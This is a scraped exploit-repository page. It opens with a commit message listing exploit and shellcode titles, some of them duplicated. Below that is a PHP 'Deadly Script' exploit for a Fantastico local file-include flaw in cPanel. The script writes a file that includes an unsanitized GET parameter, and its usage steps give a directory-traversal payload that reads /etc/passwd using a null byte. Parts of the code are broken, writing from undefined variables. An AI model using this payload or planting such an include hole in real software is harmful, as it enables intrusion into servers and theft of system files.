880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
69 lines
No EOL
2.1 KiB
PHP
69 lines
No EOL
2.1 KiB
PHP
source: https://www.securityfocus.com/bid/32578/info
|
|
|
|
Fantastico is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
|
|
|
|
An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.
|
|
|
|
set_time_limit(0);
|
|
if(isset($_POST['sup3r'])) {
|
|
if(stristr(php_uname(),"2.6.") && stristr(php_uname(),"Linux")) {
|
|
$phpwrapper = '<?php
|
|
include_once("./language/".$_GET[sup3r].".php");
|
|
?>
|
|
';
|
|
fwrite($h,$prctl);
|
|
fclose($h);
|
|
$handle = fopen($_POST['php'], "w");
|
|
fwrite($handle, $phpwrapper);
|
|
fclose($handle);
|
|
echo "Building exploit...<br />";
|
|
echo "coding by Super-Crystal <br />";
|
|
echo "Cleaning up<br />";
|
|
echo "Done!<br />
|
|
</pre>";
|
|
} else {
|
|
echo "error : ".php_uname();
|
|
}
|
|
} else {
|
|
?>
|
|
<div align="center">
|
|
<h3>Deadly Script</h3>
|
|
<font color=red>Cpanel fantastico Privilege Escalation "ModSec and PHP restriction Bypass"</font><br />
|
|
<pre><div align="center">
|
|
</pre></div><br />
|
|
<table border="0" cellspacing="0">
|
|
<tr>
|
|
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
|
|
<table border="0" cellspacing="0">
|
|
<tr>
|
|
<td><div align="right">Exploit:</div></td>
|
|
<td>
|
|
<select name="exploit">
|
|
<option selected="selected">Cpanel fantastico Privilege Escalation "ModSec and PHP restriction Bypass"</option>
|
|
</select>
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
<td><div align="right">change</div></td>
|
|
<td><input type="text" name="php" size="50" value="<?php echo getcwd()."/language.php" ?>" /></td>
|
|
</tr>
|
|
<tr>
|
|
</table>
|
|
</div>
|
|
<input type="hidden" name="sup3r" value="doit" />
|
|
<input name="submit" type="submit" value="Submit" /><br />
|
|
1- change /home/[user]/.fantasticodata/language.php
|
|
<br />
|
|
2- click on the submit
|
|
<br />
|
|
3- now put it like this (e.g)
|
|
: http://www.xxxx.com:2082/frontend/x3/fantastico/index.php?sup3r=../../../../../../etc/passwd%00 .
|
|
<br />
|
|
<font color=red>Written: 10.10.2008</font><br />
|
|
<font color=blue>Public: 26.11.2008</font><br />
|
|
<div align="center">
|
|
<font color=red>Author : Super-Crystal</font><br />
|
|
<a href="http://www.arab4services.net">Arab4services.net </a></center>
|
|
</div>
|
|
</form>
|
|
<?php } ?>
|